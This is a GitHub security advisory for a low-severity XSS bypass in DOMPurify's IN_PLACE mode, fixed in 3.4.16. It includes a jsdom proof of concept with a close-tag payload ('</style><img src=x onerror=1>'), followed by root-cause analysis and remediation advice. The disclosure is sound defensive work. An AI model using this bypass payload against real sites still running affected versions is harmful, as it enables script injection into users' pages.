GHSA-6688-9RHM-GJV2
Vulnerability from github – Published: 2026-10-05 23:43 – Updated: 2026-10-05 23:43Environment
- dompurify 3.4.15 (current npm release); reproduced independently on jsdom 30.0.1 and 29.1.1 (Node.js 20.x / 26.x)
- Config:
DOMPurify.sanitize(node, { IN_PLACE: true })on a Node input;SAFE_FOR_XMLat its default (true)
Summary
The 3.4.9 fix for the IN_PLACE detached-root class added two protections on the IN_PLACE return path: a fail-closed TypeError in _forceRemove when a node selected for removal cannot be detached, and a _neutralizeSubtree pass (dist/purify.js line 1336) that strips non-allowlisted attributes from removed subtrees.
Both miss the rawtext text-content form. When the force-removed root is a rawtext element (<style>), the payload lives in the node's text: the node detaches fine (the TypeError guard is not reached), _neutralizeSubtree strips nothing (there are no attributes), and the IN_PLACE exit returns the detached, never-sanitized <style> whose text still carries live markup. Serializing that node and re-parsing it in plain HTML context materializes the payload — no foreign-content context required.
The same Node input sanitized without IN_PLACE returns an empty result: the only difference is the IN_PLACE return path handing the killed node back.
Steps to reproduce
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify'); // 3.4.15
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
const styleRoot = window.document.createElement('style');
styleRoot.setAttribute('onclick', 'alert(1)'); // attribute payload
styleRoot.textContent = '</style><img src=x onerror=1>'; // text payload
window.document.body.appendChild(styleRoot);
const returned = DOMPurify.sanitize(styleRoot, { IN_PLACE: true });
console.log(returned === styleRoot); // true (same node)
console.log(styleRoot.parentNode === null); // true (detached)
console.log(styleRoot.outerHTML);
// <style></style><img src=x onerror=1></style>
console.log(styleRoot.getAttribute('onclick')); // null (attribute neutralized)
console.log(styleRoot.textContent); // '</style><img src=x onerror=1>' (text survives)
// plain HTML reparse (no foreign-content context involved):
const probe = window.document.createElement('div');
probe.innerHTML = returned.outerHTML || styleRoot.outerHTML;
console.log(probe.querySelectorAll('img').length); // 1
console.log(probe.querySelector('img').getAttribute('onerror')); // "1"
Observed on 3.4.15: one node, one call — the onclick attribute is neutralized while the text payload (</style><img src=x onerror=1>) survives verbatim; serializing and re-parsing the returned node in plain HTML context materializes the img with the live onerror handler.
Contrast on the same Node input without IN_PLACE: RETURN_DOM: true → <body></body>; RETURN_DOM_FRAGMENT: true → 0 children — the payload is fully sanitized away. The only difference is the IN_PLACE return path.
Contrast on the removal trigger: SAFE_FOR_XML: false → the node is not removed (detached stays false); plain CSS text → not removed. The removal is gated by the mXSS text probes and happens specifically because the serialized node would re-open tags on reparse.
Root cause
_isUnsafeNode (dist/purify.js 3.4.15, lines 1700–1714) removes nodes whose literal text would re-open tags on reparse — shape (b) in the source comment is "text-only content that already carries the element's OWN end tag", detected by the LITERAL_TEXT_CLOSE probe (line 385) alongside the ELEMENT_MARKUP_PROBE (line 339) rules. _forceRemove (line 1122) records the node in DOMPurify.removed ({element}) and detaches it. The removal is intentional: the upstream comment states these shapes are removed because the literal serializer emits them verbatim for the HTML parser to re-open.
The IN_PLACE exit then hands the force-removed root back to the caller — the very node whose removal DOMPurify.removed just recorded (verified: DOMPurify.removed.some(e => e.element === root) is true on the returned instance). The 3.4.9 _neutralizeSubtree pass (line 1336) addresses only the attribute form — its own docstring: "walks a removed subtree and strips every attribute" (purpose: cancel queued resource events). Rawtext text content is out of its scope, so the removal that was performed specifically to prevent reparse is undone by returning the node: you removed it to stop the reparse, then returned it.
Differential (one node, one call, same removal path): the onclick attribute is neutralized by the existing pass while the text payload survives verbatim — the attribute axis is covered, the text axis is the gap.
Impact
Identical blast radius to the published IN_PLACE family: an application that sanitizes a Node in IN_PLACE mode and re-inserts (or serializes and then re-inserts) the result materializes attacker markup in plain HTML context: script execution in the page. Moving the returned node via appendChild alone is safe; the round trip through serialization is what fires the payload. No foreign-content context is required with the close-tag payload.
Affected versions
- Verified live: 3.4.15 (current).
- Source-verified: the attribute-only
_neutralizeSubtreeand the IN_PLACE return path are present in 3.4.9–3.4.14; releases before 3.4.9 predate the fix entirely (unconditional return; individual pre-3.4.9 releases not dynamically tested). - Per cure53 advisory convention the affected range is reported as
<= 3.4.15(current at time of writing).
Suggested remediation
Primary (root-cause, covers every form): at the IN_PLACE exit, check whether the returned root was recorded during sanitization — DOMPurify.removed.some(e => e.element === root) — and fail closed: throw the same TypeError style used by the 3.4.9 detach guard ("a node selected for removal could not be safely returned; refusing to sanitize in place"), or return null. This is consistent with the existing fail-closed design and covers all present and future root-kill reasons in one check.
Secondary (form-specific): extend _neutralizeSubtree to neutralize text content of rawtext descendants — the elements in LITERAL_TEXT_ELEMENT_NAMES (style, script, xmp, iframe, noembed, noframes, plaintext, noscript) — by rewriting textContent to a defanged form, matching the probe coverage of _isUnsafeNode/LITERAL_TEXT_CLOSE.
A regression test asserting that a force-removed rawtext root comes back with no /<[/\w!]/ match in textContent (and is not returned at all under the primary fix) prevents re-introduction.
Prior art / differentiation
- GHSA-r47g-fvhr-h676 (fixed 3.4.6): clobbered-form root removal — different trigger; this report's root is a normal allowlisted
styleelement killed by the text probe. - GHSA-55q2-fjhq-7xh7 (low): IN_PLACE hook removal leaves a detached subtree executable — the attribute-form twin (hook-stripped subtree retains onload-class handlers). This report's rawtext text form is not covered by
_neutralizeSubtree's attribute stripping and is not that advisory. - GHSA-h8r8-wccr-v5f2 (medium): mXSS via re-contextualization in the standard (non-IN_PLACE) serialize path — different mechanism; IN_PLACE is not involved.
- The 3.4.9 release notes credit @mozfreedyb for the IN_PLACE handling improvements that this residual escapes on the text axis.
Applicability scope (stated up front)
The payload materializes when the application serializes and re-parses the sanitizer output (innerHTML assignment, template rendering, markdown/HTML round trips) or otherwise consumes the returned node's markup. Moving the returned node via appendChild alone does not trigger it. Applications that pass live, connected attacker trees into IN_PLACE are explicitly warned against by upstream's own source comment; this report concerns the serialize-and-reinsert consumption pattern that the IN_PLACE mode exists to serve.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.4.15"
},
"package": {
"ecosystem": "npm",
"name": "dompurify"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.4.16"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-05T23:43:53Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "## Environment\n\n- dompurify 3.4.15 (current npm release); reproduced independently on jsdom 30.0.1 and 29.1.1 (Node.js 20.x / 26.x)\n- Config: `DOMPurify.sanitize(node, { IN_PLACE: true })` on a Node input; `SAFE_FOR_XML` at its default (`true`)\n\n## Summary\n\nThe 3.4.9 fix for the IN_PLACE detached-root class added two protections on the IN_PLACE return path: a fail-closed `TypeError` in `_forceRemove` when a node selected for removal cannot be detached, and a `_neutralizeSubtree` pass (`dist/purify.js` line 1336) that strips non-allowlisted **attributes** from removed subtrees.\n\nBoth miss the rawtext **text-content** form. When the force-removed root is a rawtext element (`\u003cstyle\u003e`), the payload lives in the node\u0027s *text*: the node detaches fine (the `TypeError` guard is not reached), `_neutralizeSubtree` strips nothing (there are no attributes), and the IN_PLACE exit returns the detached, never-sanitized `\u003cstyle\u003e` whose text still carries live markup. Serializing that node and re-parsing it in **plain HTML context** materializes the payload \u2014 no foreign-content context required.\n\nThe same Node input sanitized **without** `IN_PLACE` returns an empty result: the only difference is the IN_PLACE return path handing the killed node back.\n\n## Steps to reproduce\n\n```js\nconst { JSDOM } = require(\u0027jsdom\u0027);\nconst createDOMPurify = require(\u0027dompurify\u0027); // 3.4.15\n\nconst window = new JSDOM(\u0027\u0027).window;\nconst DOMPurify = createDOMPurify(window);\n\nconst styleRoot = window.document.createElement(\u0027style\u0027);\nstyleRoot.setAttribute(\u0027onclick\u0027, \u0027alert(1)\u0027); // attribute payload\nstyleRoot.textContent = \u0027\u003c/style\u003e\u003cimg src=x onerror=1\u003e\u0027; // text payload\nwindow.document.body.appendChild(styleRoot);\n\nconst returned = DOMPurify.sanitize(styleRoot, { IN_PLACE: true });\n\nconsole.log(returned === styleRoot); // true (same node)\nconsole.log(styleRoot.parentNode === null); // true (detached)\nconsole.log(styleRoot.outerHTML);\n// \u003cstyle\u003e\u003c/style\u003e\u003cimg src=x onerror=1\u003e\u003c/style\u003e\nconsole.log(styleRoot.getAttribute(\u0027onclick\u0027)); // null (attribute neutralized)\nconsole.log(styleRoot.textContent); // \u0027\u003c/style\u003e\u003cimg src=x onerror=1\u003e\u0027 (text survives)\n\n// plain HTML reparse (no foreign-content context involved):\nconst probe = window.document.createElement(\u0027div\u0027);\nprobe.innerHTML = returned.outerHTML || styleRoot.outerHTML;\nconsole.log(probe.querySelectorAll(\u0027img\u0027).length); // 1\nconsole.log(probe.querySelector(\u0027img\u0027).getAttribute(\u0027onerror\u0027)); // \"1\"\n```\n\nObserved on 3.4.15: one node, one call \u2014 the `onclick` **attribute** is neutralized while the **text** payload (`\u003c/style\u003e\u003cimg src=x onerror=1\u003e`) survives verbatim; serializing and re-parsing the returned node in plain HTML context materializes the `img` with the live `onerror` handler.\n\nContrast on the same Node input without `IN_PLACE`: `RETURN_DOM: true` \u2192 `\u003cbody\u003e\u003c/body\u003e`; `RETURN_DOM_FRAGMENT: true` \u2192 0 children \u2014 the payload is fully sanitized away. The only difference is the IN_PLACE return path.\n\nContrast on the removal trigger: `SAFE_FOR_XML: false` \u2192 the node is not removed (detached stays false); plain CSS text \u2192 not removed. The removal is gated by the mXSS text probes and happens *specifically because* the serialized node would re-open tags on reparse.\n\n## Root cause\n\n`_isUnsafeNode` (`dist/purify.js` 3.4.15, lines 1700\u20131714) removes nodes whose literal text would re-open tags on reparse \u2014 shape (b) in the source comment is \"text-only content that already carries the element\u0027s OWN end tag\", detected by the `LITERAL_TEXT_CLOSE` probe (line 385) alongside the `ELEMENT_MARKUP_PROBE` (line 339) rules. `_forceRemove` (line 1122) records the node in `DOMPurify.removed` (`{element}`) and detaches it. The removal is intentional: the upstream comment states these shapes are removed **because the literal serializer emits them verbatim for the HTML parser to re-open**.\n\nThe IN_PLACE exit then hands the force-removed root back to the caller \u2014 the very node whose removal `DOMPurify.removed` just recorded (verified: `DOMPurify.removed.some(e =\u003e e.element === root)` is `true` on the returned instance). The 3.4.9 `_neutralizeSubtree` pass (line 1336) addresses only the attribute form \u2014 its own docstring: \"walks a removed subtree and strips every attribute\" (purpose: cancel queued resource events). Rawtext text content is out of its scope, so the removal that was performed *specifically to prevent reparse* is undone by returning the node: you removed it to stop the reparse, then returned it.\n\nDifferential (one node, one call, same removal path): the `onclick` attribute is neutralized by the existing pass while the text payload survives verbatim \u2014 the attribute axis is covered, the text axis is the gap.\n\n## Impact\n\nIdentical blast radius to the published IN_PLACE family: an application that sanitizes a Node in `IN_PLACE` mode and re-inserts (or serializes and then re-inserts) the result materializes attacker markup in plain HTML context: script execution in the page. Moving the returned node via `appendChild` alone is safe; the round trip through serialization is what fires the payload. No foreign-content context is required with the close-tag payload.\n\n## Affected versions\n\n- Verified live: 3.4.15 (current).\n- Source-verified: the attribute-only `_neutralizeSubtree` and the IN_PLACE return path are present in 3.4.9\u20133.4.14; releases before 3.4.9 predate the fix entirely (unconditional return; individual pre-3.4.9 releases not dynamically tested).\n- Per cure53 advisory convention the affected range is reported as `\u003c= 3.4.15` (current at time of writing).\n\n## Suggested remediation\n\n**Primary (root-cause, covers every form):** at the IN_PLACE exit, check whether the returned root was recorded during sanitization \u2014 `DOMPurify.removed.some(e =\u003e e.element === root)` \u2014 and fail closed: throw the same `TypeError` style used by the 3.4.9 detach guard (\"a node selected for removal could not be safely returned; refusing to sanitize in place\"), or return `null`. This is consistent with the existing fail-closed design and covers all present and future root-kill reasons in one check.\n\n**Secondary (form-specific):** extend `_neutralizeSubtree` to neutralize **text content of rawtext descendants** \u2014 the elements in `LITERAL_TEXT_ELEMENT_NAMES` (`style`, `script`, `xmp`, `iframe`, `noembed`, `noframes`, `plaintext`, `noscript`) \u2014 by rewriting `textContent` to a defanged form, matching the probe coverage of `_isUnsafeNode`/`LITERAL_TEXT_CLOSE`.\n\nA regression test asserting that a force-removed rawtext root comes back with no `/\u003c[/\\w!]/` match in `textContent` (and is not returned at all under the primary fix) prevents re-introduction.\n\n## Prior art / differentiation\n\n- GHSA-r47g-fvhr-h676 (fixed 3.4.6): clobbered-form **root** removal \u2014 different trigger; this report\u0027s root is a normal allowlisted `style` element killed by the text probe.\n- GHSA-55q2-fjhq-7xh7 (low): IN_PLACE **hook removal** leaves a detached subtree executable \u2014 the attribute-form twin (hook-stripped subtree retains onload-class handlers). This report\u0027s rawtext **text** form is not covered by `_neutralizeSubtree`\u0027s attribute stripping and is not that advisory.\n- GHSA-h8r8-wccr-v5f2 (medium): mXSS via re-contextualization in the standard (non-IN_PLACE) serialize path \u2014 different mechanism; IN_PLACE is not involved.\n- The 3.4.9 release notes credit @mozfreedyb for the IN_PLACE handling improvements that this residual escapes on the text axis.\n\n## Applicability scope (stated up front)\n\nThe payload materializes when the application **serializes and re-parses** the sanitizer output (`innerHTML` assignment, template rendering, markdown/HTML round trips) or otherwise consumes the returned node\u0027s markup. Moving the returned node via `appendChild` alone does not trigger it. Applications that pass **live, connected attacker trees** into `IN_PLACE` are explicitly warned against by upstream\u0027s own source comment; this report concerns the serialize-and-reinsert consumption pattern that the IN_PLACE mode exists to serve.",
"id": "GHSA-6688-9rhm-gjv2",
"modified": "2026-10-05T23:43:53Z",
"published": "2026-10-05T23:43:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-6688-9rhm-gjv2"
},
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/pull/1636"
},
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/commit/b9b9d80f7e401771c2ccaef5f45def7eec8f27d7"
},
{
"type": "PACKAGE",
"url": "https://github.com/cure53/DOMPurify"
},
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.16"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "DOMPurify: IN_PLACE returns a force-removed rawtext root whose text carries attacker markup \u2014 pure HTML reparse executes"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.